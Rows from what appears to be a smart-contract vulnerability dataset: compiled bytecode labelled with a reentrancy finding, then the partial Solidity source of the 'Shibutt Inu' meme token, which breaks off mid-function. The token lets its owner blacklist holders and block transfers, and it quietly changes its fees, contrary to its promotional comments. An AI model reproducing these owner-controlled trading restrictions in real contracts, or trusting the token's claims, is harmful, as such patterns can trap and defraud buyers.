663d9638d36846040518263ffffffff1660e01b815260040180828152602001915050606060405180830381600087803b15801561155857600080fd5b505af115801561156c573d6000803e3d6000fd5b505050506040513d606081101561158257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050905060008190506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36866040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b15801561162757600080fd5b505af115801561163b573d6000803e3d6000fd5b505050506040513d60a081101561165157600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050505050509150506000806000808573ffffffffffffffffffffffffffffffffffffffff16634423c5f1896040518263ffffffff1660e01b8152600401808281526020019150506101006040518083038186803b1580156116e857600080fd5b505afa1580156116fc573d6000803e3d6000fd5b505050506040513d61010081101561171357600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190505050975050965050505093509350600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f24e23eb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561186b57600080fd5b505af115801561187f573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f24e23eb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561195657600080fd5b505af115801561196a573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3b22fc4876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156119f957600080fd5b505af1158015611a0d573d6000803e3d6000fd5b505050508573ffffffffffffffffffffffffffffffffffffffff166326e027f1896040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611a6457600080fd5b505af1158015611a78573d6000803e3d6000fd5b505050506000858281611a8757fe5b049050611aa7600d60008c81526020019081526020016000205482614018565b600d60008c81526020019081526020016000208190555060008412158015611ad0575060008112155b611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bab3f408b8530600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1689876040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015611c4357600080fd5b505af1158015611c57573d6000803e3d6000fd5b505050508273ffffffffffffffffffffffffffffffffffffffff16898b7fbfa2310a8897203a59922debd0db38279196d8de5050df84608e2bb3e7790f6985888660405180848152602001838152602001828152602001935050505060405180910390a450505050505050505050565b600060075414611d3f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f456e642f7374696c6c2d6c69766500000000000000000000000000000000000081525060200191505060405180910390fd5b6000600a5414611db7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f456e642f646562742d6e6f742d7a65726f00000000000000000000000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636c25b346600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611e6457600080fd5b505afa158015611e78573d6000803e3d6000fd5b505050506040513d6020811015611e8e57600080fd5b810190808051906020019092919050505014611f12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f456e642f737572706c75732d6e6f742d7a65726f00000000000000000000000081525060200191505060405180910390fd5b611f20600854600954614018565b421015611f95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f456e642f776169742d6e6f742d66696e6973686564000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dca59c16040518163ffffffff1660e01b8152600401602060405180830381600087803b158015611fff57600080fd5b505af1158015612013573d6000803e3d6000fd5b505050506040513d602081101561202957600080fd5b8101908080519060200190929190505050600a819055507f4df15159e645ba7d02cadde0bc937abef5ad0134623c00de50a31750b85978b960405160405180910390a1565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915090505481565b60095481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612166576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146122a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b60016007541461231c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6e6f742d6c697665000000000000000000000000000000000000000081525060200191505060405180910390fd5b600060078190555042600881905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561239557600080fd5b505af11580156123a9573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561241757600080fd5b505af115801561242b573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561249957600080fd5b505af11580156124ad573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561251b57600080fd5b505af115801561252f573d6000803e3d6000fd5b50505050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561259d57600080fd5b505af11580156125b1573d6000803e3d6000fd5b50505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561261f57600080fd5b505af1158015612633573d6000803e3d6000fd5b505050507f2308ed18a14e800c39b86eb6ea43270105955ca385b603b64eca89f98ae8fbda60405160405180910390a1565b6000600a5414156126de576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f456e642f646562742d7a65726f0000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bb35783b33600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612756856b033b2e3c9fd0803ce8000000614075565b6040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1580156127c657600080fd5b505af11580156127da573d6000803e3d6000fd5b50505050612827600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482614018565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f47a981d8cbc0f6df64c9be4ce0a423071a088bd46c549bbd11a4d566e031fe0c826040518082815260200191505060405180910390a250565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b600084815260200190815260200160002054141561296b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f456e642f7461672d696c6b2d6e6f742d646566696e656400000000000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36846040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b1580156129e257600080fd5b505af11580156129f6573d6000803e3d6000fd5b505050506040513d60a0811015612a0c57600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190505050505050915050600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632424be5c86866040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff168152602001925050506040805180830381600087803b158015612ae057600080fd5b505af1158015612af4573d6000803e3d6000fd5b505050506040513d6040811015612b0a57600080fd5b810190808051906020019092919080519060200190929190505050915091506000612b51612b388386614032565b600b600089815260200190815260200160002054614032565b90506000612b5f84836140ca565b9050612b87600c600089815260200190815260200160002054612b82848461405b565b614018565b600c6000898152602001908152602001600020819055507f80000000000000000000000000000000000000000000000000000000000000008111158015612bee57507f80000000000000000000000000000000000000000000000000000000000000008311155b612c60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bab3f40888830600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686600003896000036040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015612d6757600080fd5b505af1158015612d7b573d6000803e3d6000fd5b505050508573ffffffffffffffffffffffffffffffffffffffff16877fa05b7b56166c25efbac063da905f9ea6aa1dc5101f95b43c7a838aace979ab598386604051808381526020018281526020019250505060405180910390a350505050505050565b600f6020528060005260406000206000915090505481565b60075481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612eb1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b60006020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060075414612ff1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f456e642f7374696c6c2d6c69766500000000000000000000000000000000000081525060200191505060405180910390fd5b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632424be5c84336040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff168152602001925050506040805180830381600087803b15801561308657600080fd5b505af115801561309a573d6000803e3d6000fd5b505050506040513d60408110156130b057600080fd5b8101908080519060200190929190805190602001909291905050509150915060008114613145576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f456e642f6172742d6e6f742d7a65726f0000000000000000000000000000000081525060200191505060405180910390fd5b7f80000000000000000000000000000000000000000000000000000000000000008211156131db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bab3f40843333600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168760000360006040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b1580156132e057600080fd5b505af11580156132f4573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff16837ff26f2b994a5e16f0960958e62541681f9e3e84d4caac2e487d25e0c75243f0d8846040518082815260200191505060405180910390a3505050565b6010602052816000526040600020602052806000526040600020600091509150505481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414613425576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b60016007541461349d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6e6f742d6c697665000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f766174000000000000000000000000000000000000000000000000000000000082141561350b5780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137a4565b7f63617400000000000000000000000000000000000000000000000000000000008214156135795780600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137a3565b7f646f6700000000000000000000000000000000000000000000000000000000008214156135e75780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137a2565b7f766f7700000000000000000000000000000000000000000000000000000000008214156136555780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137a1565b7f706f7400000000000000000000000000000000000000000000000000000000008214156136c35780600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137a0565b7f73706f74000000000000000000000000000000000000000000000000000000008214156137315780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061379f565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f456e642f66696c652d756e7265636f676e697a65642d706172616d000000000081525060200191505060405180910390fd5b5b5b5b5b5b817f8fef588b5fc1afbf5b2f06c1a435d513f208da2e6704c3d8f0e0ec91167066ba82604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a25050565b600d6020528060005260406000206000915090505481565b600060075414613886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f456e642f7374696c6c2d6c69766500000000000000000000000000000000000081525060200191505060405180910390fd5b6000600b6000838152602001908152602001600020541461390f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f456e642f7461672d696c6b2d616c72656164792d646566696e6564000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36826040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b15801561398457600080fd5b505af1158015613998573d6000803e3d6000fd5b505050506040513d60a08110156139ae57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919250909150905050600d600083815260200190815260200160002060008291905055506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36836040518263ffffffff1660e01b815260040180828152602001915050604080518083038186803b158015613a8057600080fd5b505afa158015613a94573d6000803e3d6000fd5b505050506040513d6040811015613aaa57600080fd5b810190808051906020019092919080519060200190929190505050509050613bf7600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663495d32cb6040518163ffffffff1660e01b815260040160206040518083038186803b158015613b3357600080fd5b505afa158015613b47573d6000803e3d6000fd5b505050506040513d6020811015613b5d57600080fd5b81019080805190602001909291905050508273ffffffffffffffffffffffffffffffffffffffff166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b158015613bb457600080fd5b505afa158015613bc8573d6000803e3d6000fd5b505050506040513d6020811015613bde57600080fd5b810190808051906020019092919050505060001c6140e4565b600b600084815260200190815260200160002081905550817f4a9efa0a0e3f548761a6924fe06ac5cb94ecdbc08b10d855bbcc04e37c4910db60405160405180910390a25050565b60085481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c6020528060005260406000206000915090505481565b600b6020528060005260406000206000915090505481565b6000600e6000848152602001908152602001600020541415613d25576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f456e642f6669782d696c6b2d6e6f742d646566696e656400000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636111be2e833033613d8386600e60008a815260200190815260200160002054614032565b6040518563ffffffff1660e01b8152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b158015613dfa57600080fd5b505af1158015613e0e573d6000803e3d6000fd5b50505050613e6c6010600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482614018565b6010600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546010600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115613fc5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f456e642f696e73756666696369656e742d6261672d62616c616e63650000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16827f888c7c01b06fd8004523e2bc9a274be1feaa9f03579ae5f568061dac078793c9836040518082815260200191505060405180910390a35050565b600081830190508281101561402c57600080fd5b92915050565b60006b033b2e3c9fd0803ce800000061404b8484614075565b8161405257fe5b04905092915050565b600082828403915081111561406f57600080fd5b92915050565b600080821480614092575082828385029250828161408f57fe5b04145b61409b57600080fd5b92915050565b6000816140ba846b033b2e3c9fd0803ce8000000614075565b816140c157fe5b04905092915050565b6000818311156140da57816140dc565b825b905092915050565b6000816140f984670de0b6b3a7640000614075565b8161410057fe5b0490509291505056fea26469706673582212204da7e382b7809cb372be70065266c483fab96de68a362c2a8006d75ba7395d1064736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,626 |
0x00e5b0e005ae310312942197e0898de60e30a3a3 | /**
*Submitted for verification at Etherscan.io on 2021-06-08
*/
// Shibutt Inu (SHIBUTT🍑)
// The THICCC boy is a good boy! Shibutt Inu is a new
// DeFi protocol that combines the memes of DOGE with
// that THICCCness you love. This is a community meme
// token with the best features:
//Limit Buy (ON)
//Cooldown (ON)
//Bot Protect (ON)
//Deflationary (ON)
//Sell Fee (ON)
//Liqudity dev provides and lock
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract SHIBUTT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shibutt Inu";
string private constant _symbol = 'SHIBUTT\xF0\x9F\x8D\x91';
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 25;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
